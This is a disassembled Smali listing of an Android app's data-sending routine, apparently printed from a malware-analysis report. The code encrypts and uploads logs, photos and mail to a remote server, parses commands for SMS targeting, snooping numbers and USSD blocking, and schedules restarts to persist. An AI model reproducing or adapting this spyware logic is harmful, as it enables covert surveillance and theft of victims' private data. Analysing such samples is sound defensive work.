      27invoke-virtual {v1, v4}, Ljava/net/HttpURLConnection;->setDoInput(Z)V
      29sget-object v1, Lcom/network/android/g;->d:Ljava/net/HttpURLConnection;
      31const-string v4, "Content-Type"
      33const-string v5, "multipart/form-data; boundary=__ANDROID_BOUNDARY__"
      35invoke-virtual {v1, v4, v5}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
      37sget-object v1, Lcom/network/android/g;->d:Ljava/net/HttpURLConnection;
      38const v4, 0xc350
      40invoke-virtual {v1, v4}, Ljava/net/HttpURLConnection;->setConnectTimeout(I)V
      42sget-object v1, Lcom/network/android/g;->d:Ljava/net/HttpURLConnection;
      43const v4, 0xc350
      45invoke-virtual {v1, v4}, Ljava/net/HttpURLConnection;->setReadTimeout(I)V
      47invoke-static/range {p5 .. p5}, Lcom/network/android/SmsReceiver;->b(Landroid/content/Context;)Ljava/lang/String;
      48move-result-object v7
      50invoke-static {v7}, Lcom/network/android/f;->a(Ljava/lang/String;)Ljava/lang/String;
      51move-result-object v1
      53sget-object v4, Lcom/network/android/g;->d:Ljava/net/HttpURLConnection;
      55const-string v5, "SessionId1"
      57invoke-virtual {v4, v5, v1}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
      59invoke-static {}, Lcom/network/i/e;->c()[B
      60move-result-object v10
      62invoke-static {v10}, Lcom/network/i/a;->a([B)Ljava/lang/String;
      63move-result-object v5
      65invoke-static {v10}, Lcom/network/android/f;->a([B)[B
      66move-result-object v1
      68invoke-static {v1}, Lcom/network/i/a;->a([B)Ljava/lang/String;
      69move-result-object v1
      71sget-object v4, Lcom/network/android/g;->d:Ljava/net/HttpURLConnection;
      73const-string v6, "SessionId2"
      75invoke-virtual {v4, v6, v1}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
      77sget-object v1, Lcom/network/android/g;->d:Ljava/net/HttpURLConnection;
      79invoke-virtual {v1}, Ljava/net/HttpURLConnection;->connect()V
      81const-string v1, "sentData connected"
      83invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      84new-instance v9, Ljava/io/ByteArrayOutputStream;
      86invoke-direct {v9}, Ljava/io/ByteArrayOutputStream;-><init>()V
      87try_end_75:
      88sget-object v1, Lcom/network/android/g;->d:Ljava/net/HttpURLConnection;
      90invoke-virtual {v1}, Ljava/net/HttpURLConnection;->getOutputStream()Ljava/io/OutputStream;
      91try_end_7a: move-result-object v8
      92try_start_7b:
      93invoke-virtual {p1}, Ljava/lang/String;->getBytes()[B
      94move-result-object v2
      95new-instance v4, Ljava/io/StringWriter;
      97invoke-direct {v4}, Ljava/io/StringWriter;-><init>()V
      98new-instance v6, Ljava/util/Vector;
      100sget-object v1, Lcom/network/android/a/c;->a:Ljava/util/Vector;
      102invoke-direct {v6, v1}, Ljava/util/Vector;-><init>(Ljava/util/Collection;)V
      103if-nez p6, :cond_464
      105invoke-static {}, Lcom/network/android/c/a/b;->b()[B
      106move-result-object v3
      107goto_91:
      108const-string v1, "commandAckIdsVector sending data"
      110invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      111move-object/from16 v1, p5
      113invoke-static/range {v1 .. v6}, Lcom/network/android/g;->a(Landroid/content/Context;[B[BLjava/io/StringWriter;Ljava/lang/String;Ljava/util/Vector;)V
      115invoke-virtual {v4}, Ljava/io/StringWriter;->toString()Ljava/lang/String;
      116move-result-object v1
      117new-instance v4, Ljava/lang/StringBuilder;
      119const-string v5, "Header- "
      121invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      123invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      124move-result-object v4
      126const-string v5, " size: "
      128invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      129move-result-object v4
      131invoke-virtual {v1}, Ljava/lang/String;->length()I
      132move-result v5
      134invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      135move-result-object v4
      137invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      138move-result-object v4
      140invoke-static {v4}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      141new-instance v4, Ljava/lang/StringBuilder;
      143const-string v5, "Send To URL- "
      145invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      147invoke-virtual {v4, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      148move-result-object v4
      150invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      151move-result-object v4
      153invoke-static {v4}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      154new-instance v4, Ljava/lang/StringBuilder;
      156const-string v5, "Send Data- "
      158invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      159const/4 v5, 0x0
      160const/16 v11, 0x1f4
      162invoke-virtual {p1}, Ljava/lang/String;->length()I
      163move-result v12
      165invoke-static {v11, v12}, Ljava/lang/Math;->min(II)I
      166move-result v11
      168invoke-virtual {p1, v5, v11}, Ljava/lang/String;->substring(II)Ljava/lang/String;
      169move-result-object v5
      171invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      172move-result-object v4
      174invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      175move-result-object v4
      177invoke-static {v4}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      178new-instance v4, Ljava/lang/StringBuilder;
      180const-string v5, "Data Size "
      182invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      184invoke-virtual {p1}, Ljava/lang/String;->length()I
      185move-result v5
      187invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      188move-result-object v4
      190invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      191move-result-object v4
      193invoke-static {v4}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      195sget-object v4, Lcom/network/android/g;->l:[B
      197sget-object v5, Lcom/network/android/g;->n:[B
      199invoke-virtual {v1}, Ljava/lang/String;->getBytes()[B
      200move-result-object v1
      202invoke-static {v1}, Lcom/network/android/g;->a([B)Ljava/io/ByteArrayOutputStream;
      203move-result-object v1
      205invoke-virtual {v1}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
      206move-result-object v1
      208invoke-static {v1, v10}, Lcom/network/android/f;->a([B[B)[B
      209move-result-object v1
      211invoke-static {v9, v4, v5, v1}, Lcom/network/android/g;->a(Ljava/io/ByteArrayOutputStream;[B[B[B)V
      213invoke-static {v2}, Lcom/network/android/g;->a([B)Ljava/io/ByteArrayOutputStream;
      214move-result-object v1
      216invoke-virtual {v1}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
      217move-result-object v1
      219invoke-static {v1, v10}, Lcom/network/android/f;->a([B[B)[B
      220move-result-object v1
      222sget-object v2, Lcom/network/android/g;->m:[B
      224sget-object v4, Lcom/network/android/g;->n:[B
      226invoke-static {v9, v2, v4, v1}, Lcom/network/android/g;->a(Ljava/io/ByteArrayOutputStream;[B[B[B)V
      227new-instance v2, Ljava/lang/StringBuilder;
      229const-string v4, "encripted size "
      231invoke-direct {v2, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      232array-length v1, v1
      234invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      235move-result-object v1
      237invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      238move-result-object v1
      240invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      241if-eqz v3, :cond_1b8
      242new-instance v1, Ljava/lang/StringBuilder;
      244const-string v2, "logArrayNew - size: "
      246invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      247array-length v2, v3
      249invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      250move-result-object v1
      252invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      253move-result-object v1
      255invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      257invoke-static {v3}, Lcom/network/android/g;->a([B)Ljava/io/ByteArrayOutputStream;
      258move-result-object v1
      260invoke-virtual {v1}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
      261move-result-object v1
      263invoke-static {v1, v10}, Lcom/network/android/f;->a([B[B)[B
      264move-result-object v1
      265new-instance v2, Ljava/lang/StringBuilder;
      267const-string v3, "Error log encripted"
      269invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      270array-length v3, v1
      272invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      273move-result-object v2
      275invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      276move-result-object v2
      278invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      280const-string v2, "log"
      282invoke-virtual {v2}, Ljava/lang/String;->getBytes()[B
      283move-result-object v2
      285sget-object v3, Lcom/network/android/g;->n:[B
      287invoke-static {v9, v2, v3, v1}, Lcom/network/android/g;->a(Ljava/io/ByteArrayOutputStream;[B[B[B)V
      288goto_184: if-eqz p3, :cond_25c
      289if-eqz p4, :cond_25c
      290move-object/from16 v0, p3
      291array-length v1, v0
      292move-object/from16 v0, p4
      293array-length v2, v0
      294if-ne v1, v2, :cond_25c
      295const/4 v1, 0x0
      296goto_191: move-object/from16 v0, p3
      297array-length v2, v0
      298if-ge v1, v2, :cond_25c
      299aget-object v2, p3, v1
      300if-eqz v2, :cond_1f6
      301aget-object v2, p3, v1
      303const-string v3, "jpg"
      305invoke-virtual {v2, v3}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
      306move-result v2
      307if-eqz v2, :cond_1f6
      308aget-object v2, p3, v1
      310invoke-virtual {v2}, Ljava/lang/String;->getBytes()[B
      311move-result-object v2
      313sget-object v3, Lcom/network/android/g;->o:[B
      314aget-object v4, p4, v1
      316invoke-static {v4, v10}, Lcom/network/android/f;->a([B[B)[B
      317move-result-object v4
      319invoke-static {v9, v2, v3, v4}, Lcom/network/android/g;->a(Ljava/io/ByteArrayOutputStream;[B[B[B)V
      320goto_1b5: add-int/lit8 v1, v1, 0x1
      321goto/16 :goto_191
      322cond_1b8:
      323const-string v1, "No log to send- "
      325invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      326try_end_1bd: goto/16 :goto_184
      327catch_1be: move-exception v1
      328move-object v2, v8
      329move-object v3, v9
      330goto_1c1: sget v4, Lcom/network/android/g;->r:I
      331add-int/lit8 v4, v4, 0x1
      332sput v4, Lcom/network/android/g;->r:I
      333const/4 v5, 0x1
      334if-ne v4, v5, :cond_1e8
      335const/4 v4, 0x1
      336const/16 v5, 0x22
      338const-string v6, ""
      340invoke-static {v4, v5, v6}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      341new-instance v4, Ljava/lang/StringBuilder;
      343const-string v5, "sentData - LOG_HTTP_ERROR_OCCURRED: "
      345invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      347invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      348move-result-object v5
      350invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      351move-result-object v4
      353invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      354move-result-object v4
      356invoke-static {v4, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      357cond_1e8: if-eqz v2, :cond_1ed
      358try_start_1ea:
      359invoke-virtual {v2}, Ljava/io/OutputStream;->close()V
      360cond_1ed: if-eqz v3, :cond_1f2
      362invoke-virtual {v3}, Ljava/io/ByteArrayOutputStream;->close()V
      363cond_1f2:
      364invoke-static {}, Lcom/network/android/g;->b()V
      365try_end_1f5: return-void
      366try_start_1f6: aget-object v2, p3, v1
      367if-eqz v2, :cond_249
      368aget-object v2, p3, v1
      370const-string v3, "jigglypuff_mail"
      372invoke-virtual {v2, v3}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
      373move-result v2
      374if-eqz v2, :cond_249
      375aget-object v2, p4, v1
      377invoke-static {v2}, Lcom/network/android/g;->a([B)Ljava/io/ByteArrayOutputStream;
      378move-result-object v2
      380invoke-virtual {v2}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
      381move-result-object v2
      383invoke-static {v2, v10}, Lcom/network/android/f;->a([B[B)[B
      384move-result-object v2
      385aget-object v3, p3, v1
      387invoke-virtual {v3}, Ljava/lang/String;->getBytes()[B
      388move-result-object v3
      390sget-object v4, Lcom/network/android/g;->n:[B
      392invoke-static {v9, v3, v4, v2}, Lcom/network/android/g;->a(Ljava/io/ByteArrayOutputStream;[B[B[B)V
      393new-instance v3, Ljava/lang/StringBuilder;
      395invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      397invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      398move-result-object v3
      400const-string v4, "mail encripted ziped size "
      402invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      403move-result-object v3
      404array-length v2, v2
      406invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      407move-result-object v2
      409invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      410move-result-object v2
      412invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      413try_end_238: goto/16 :goto_1b5
      414catchall_23a: move-exception v1
      415goto_23b: if-eqz v8, :cond_240
      416try_start_23d:
      417invoke-virtual {v8}, Ljava/io/OutputStream;->close()V
      418cond_240: if-eqz v9, :cond_245
      420invoke-virtual {v9}, Ljava/io/ByteArrayOutputStream;->close()V
      421cond_245:
      422invoke-static {}, Lcom/network/android/g;->b()V
      423goto_248: throw v1
      424cond_249: aget-object v2, p3, v1
      426invoke-virtual {v2}, Ljava/lang/String;->getBytes()[B
      427move-result-object v2
      429sget-object v3, Lcom/network/android/g;->n:[B
      430aget-object v4, p4, v1
      432invoke-static {v4, v10}, Lcom/network/android/f;->a([B[B)[B
      433move-result-object v4
      435invoke-static {v9, v2, v3, v4}, Lcom/network/android/g;->a(Ljava/io/ByteArrayOutputStream;[B[B[B)V
      436goto/16 :goto_1b5
      437cond_25c:
      438sget-object v1, Lcom/network/android/g;->h:[B
      440invoke-virtual {v9, v1}, Ljava/io/ByteArrayOutputStream;->write([B)V
      442invoke-virtual {v9}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
      443move-result-object v1
      445invoke-virtual {v8, v1}, Ljava/io/OutputStream;->write([B)V
      446new-instance v2, Ljava/lang/StringBuilder;
      448const-string v3, "Total Post Size: "
      450invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      451array-length v1, v1
      453invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      454move-result-object v1
      456invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      457move-result-object v1
      459invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      461sget-object v1, Lcom/network/android/g;->d:Ljava/net/HttpURLConnection;
      463invoke-static {p2, v1, v7}, Lcom/network/android/g;->a(Lcom/network/android/x;Ljava/net/HttpURLConnection;Ljava/lang/String;)V
      464iget v1, p2, Lcom/network/android/x;->a:I
      465if-nez v1, :cond_3a9
      467invoke-static {v6}, Lcom/network/android/g;->a(Ljava/util/Vector;)V
      469invoke-static {}, Lcom/network/android/c/a/b;->a()V
      470goto_28a:
      471const-string v1, "parseResponseCommands got command. adding it to command queue"
      473invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      475sget-object v1, Lcom/network/android/x;->A:Ljava/util/Vector;
      477invoke-virtual {v1}, Ljava/util/Vector;->size()I
      478move-result v1
      479if-eqz v1, :cond_2be
      481sget-object v1, Lcom/network/android/x;->A:Ljava/util/Vector;
      482const/4 v2, 0x0
      484invoke-virtual {v1, v2}, Ljava/util/Vector;->elementAt(I)Ljava/lang/Object;
      485move-result-object v1
      486check-cast v1, Ljava/lang/String;
      488invoke-static {v1}, Lcom/network/b/b;->a(Ljava/lang/String;)V
      489new-instance v2, Ljava/lang/StringBuilder;
      491const-string v1, "parseResponseCommands got outsnoopnumber: "
      493invoke-direct {v2, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      495sget-object v1, Lcom/network/android/x;->A:Ljava/util/Vector;
      496const/4 v3, 0x0
      498invoke-virtual {v1, v3}, Ljava/util/Vector;->elementAt(I)Ljava/lang/Object;
      499move-result-object v1
      500check-cast v1, Ljava/lang/String;
      502invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      503move-result-object v1
      505invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      506move-result-object v1
      508invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      509cond_2be:
      510sget-object v1, Lcom/network/android/x;->z:Ljava/util/Vector;
      512invoke-virtual {v1}, Ljava/util/Vector;->size()I
      513move-result v1
      514if-eqz v1, :cond_2e8
      516sget-object v1, Lcom/network/android/x;->z:Ljava/util/Vector;
      518invoke-static {v1}, Lcom/network/b/b;->a(Ljava/util/Vector;)[Ljava/lang/String;
      519move-result-object v1
      521invoke-static {v1}, Lcom/network/b/b;->a([Ljava/lang/String;)V
      522new-instance v1, Ljava/lang/StringBuilder;
      524const-string v2, "parseResponseCommands got URL: "
      526invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      528invoke-static {}, Lcom/network/b/b;->e()[Ljava/lang/String;
      529move-result-object v2
      530const/4 v3, 0x0
      531aget-object v2, v2, v3
      533invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      534move-result-object v1
      536invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      537move-result-object v1
      539invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      540cond_2e8:
      541sget-object v1, Lcom/network/android/x;->C:Ljava/util/Vector;
      543invoke-virtual {v1}, Ljava/util/Vector;->size()I
      544move-result v1
      545if-eqz v1, :cond_317
      547sget-object v1, Lcom/network/android/x;->C:Ljava/util/Vector;
      548const/4 v2, 0x0
      550invoke-virtual {v1, v2}, Ljava/util/Vector;->elementAt(I)Ljava/lang/Object;
      551move-result-object v1
      552check-cast v1, Ljava/lang/String;
      554invoke-static {v1}, Lcom/network/b/b;->b(Ljava/lang/String;)V
      555new-instance v2, Ljava/lang/StringBuilder;
      557const-string v1, "parseResponseCommands got targetSms: "
      559invoke-direct {v2, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      561sget-object v1, Lcom/network/android/x;->C:Ljava/util/Vector;
      562const/4 v3, 0x0
      564invoke-virtual {v1, v3}, Ljava/util/Vector;->elementAt(I)Ljava/lang/Object;
      565move-result-object v1
      566check-cast v1, Ljava/lang/String;
      568invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      569move-result-object v1
      571invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      572move-result-object v1
      574invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      575cond_317:
      576invoke-static {}, Lcom/network/android/x;->c()I
      577move-result v1
      578if-eqz v1, :cond_325
      580const-string v1, "got command. adding it to command queue"
      582invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      584invoke-virtual {p2}, Lcom/network/android/x;->b()V
      585cond_325:
      586sget-object v1, Lcom/network/android/x;->y:Ljava/util/Vector;
      588invoke-virtual {v1}, Ljava/util/Vector;->size()I
      589move-result v1
      590if-eqz v1, :cond_380
      591new-instance v1, Ljava/lang/StringBuilder;
      593const-string v2, "parseResponseCommands ProvisionContectHandler ussd blocking size: "
      595invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      597invoke-static {}, Lcom/network/android/x;->a()Ljava/util/Vector;
      598move-result-object v2
      600invoke-virtual {v2}, Ljava/util/Vector;->size()I
      601move-result v2
      603invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      604move-result-object v1
      606invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      607move-result-object v1
      609invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      611sget-object v1, Lcom/network/android/x;->y:Ljava/util/Vector;
      613invoke-static {v1}, Lcom/network/b/b;->a(Ljava/util/Vector;)[Ljava/lang/String;
      614move-result-object v1
      615move-object/from16 v0, p5
      617invoke-static {v1, v0}, Lcom/network/b/b;->a([Ljava/lang/String;Landroid/content/Context;)V
      619const-string v1, "NetworkMessages"
      620const/4 v2, 0x0
      621move-object/from16 v0, p5
      623invoke-virtual {v0, v1, v2}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
      624move-result-object v1
      626const-string v2, "restart"
      627const-wide/16 v3, 0x0
      629invoke-interface {v1, v2, v3, v4}, Landroid/content/SharedPreferences;->getLong(Ljava/lang/String;J)J
      630move-result-wide v2
      631const-wide/16 v4, 0x0
      632cmp-long v4, v2, v4
      633if-lez v4, :cond_3bf
      634new-instance v1, Ljava/lang/StringBuilder;
      636const-string v4, "parseResponseCommands ProvisionContectHandler ussd blocking was ALLREADY RESTARTED restartTime: "
      638invoke-direct {v1, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      639new-instance v4, Ljava/util/Date;
      641invoke-direct {v4, v2, v3}, Ljava/util/Date;-><init>(J)V
      643invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
      644move-result-object v1
      646invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      647move-result-object v1
      649invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      650goto_380:
      651invoke-static/range {p5 .. p5}, Lcom/network/b/b;->c(Landroid/content/Context;)V
      652try_end_383: if-eqz v8, :cond_388
      653try_start_385:
      654invoke-virtual {v8}, Ljava/io/OutputStream;->close()V
      655cond_388:
      656invoke-virtual {v9}, Ljava/io/ByteArrayOutputStream;->close()V
      658invoke-static {}, Lcom/network/android/g;->b()V
      659try_end_38e: goto/16 :goto_1f5
      660catch_390: move-exception v1
      661new-instance v2, Ljava/lang/StringBuilder;
      663const-string v3, "sentData - close connection: "
      665invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      667invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      668move-result-object v3
      670invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      671move-result-object v2
      673invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      674move-result-object v2
      676invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      677goto/16 :goto_1f5
      678try_start_3a9: new-instance v1, Ljava/lang/StringBuilder;
      680const-string v2, "sentData retCode != 0, retCode = "
      682invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      683iget v2, p2, Lcom/network/android/x;->a:I
      685invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      686move-result-object v1
      688invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      689move-result-object v1
      691invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      692goto/16 :goto_28a
      693cond_3bf:
      694invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
      695move-result-object v1
      697const-string v2, "restart"
      699invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
      700move-result-wide v3
      702invoke-interface {v1, v2, v3, v4}, Landroid/content/SharedPreferences$Editor;->putLong(Ljava/lang/String;J)Landroid/content/SharedPreferences$Editor;
      704invoke-interface {v1}, Landroid/content/SharedPreferences$Editor;->commit()Z
      705try_end_3cf:
      706const-string v1, "alarm"
      707move-object/from16 v0, p5
      709invoke-virtual {v0, v1}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
      710move-result-object v1
      711check-cast v1, Landroid/app/AlarmManager;
      712new-instance v2, Landroid/content/Intent;
      713const-class v3, Lcom/network/media/CoreReceiver;
      714move-object/from16 v0, p5
      716invoke-direct {v2, v0, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
      718const-string v3, "restart"
      720invoke-virtual {v2, v3}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
      721const/4 v3, 0x0
      722const/4 v4, 0x0
      723move-object/from16 v0, p5
      725invoke-static {v0, v3, v2, v4}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
      726move-result-object v7
      727const/4 v2, 0x0
      729invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
      730move-result-wide v3
      731const-wide/16 v5, 0xbb8
      732add-long/2addr v3, v5
      733const-wide/32 v5, 0x493e0
      735invoke-virtual/range {v1 .. v7}, Landroid/app/AlarmManager;->setRepeating(IJJLandroid/app/PendingIntent;)V
      737const-string v1, "addUssdRestartAlarm parseResponseCommands ProvisionContectHandler add ussd reboot alarm minutes: 5 , seconds: 300000"
      739invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      740try_end_402: goto/16 :goto_380
      741catch_404: move-exception v1
      742try_start_405: new-instance v2, Ljava/lang/StringBuilder;
      744const-string v3, "parseResponseCommands addUssdRestartAlarm: "
      746invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      748invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      749move-result-object v3
      751invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      752move-result-object v2
      754invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      755move-result-object v2
      757invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      758try_end_41b: goto/16 :goto_380
      759catch_41d: move-exception v1
      760new-instance v2, Ljava/lang/StringBuilder;
      762const-string v3, "sentData - close connection: "
      764invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      766invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      767move-result-object v3
      769invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      770move-result-object v2
      772invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      773move-result-object v2
      775invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      776goto/16 :goto_1f5
      777catch_436: move-exception v2
      778new-instance v3, Ljava/lang/StringBuilder;
      780const-string v4, "sentData - close connection: "
      782invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      784invoke-virtual {v2}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      785move-result-object v4
      787invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      788move-result-object v3
      790invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      791move-result-object v3
      793invoke-static {v3, v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      794goto/16 :goto_248
      795catchall_44f: move-exception v1
      796move-object v8, v2
      797move-object v9, v3
      798goto/16 :goto_23b
      799catchall_454: move-exception v1
      800move-object v8, v2
      801goto/16 :goto_23b
      802catchall_458: move-exception v1
      803move-object v8, v2
      804move-object v9, v3
      805goto/16 :goto_23b
      806catch_45d: move-exception v1
      807goto/16 :goto_1c1
      808catch_460: move-exception v1
      809move-object v3, v9
      810goto/16 :goto_1c1
      811cond_464: move-object/from16 v3, p6
      812goto/16 :goto_91
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
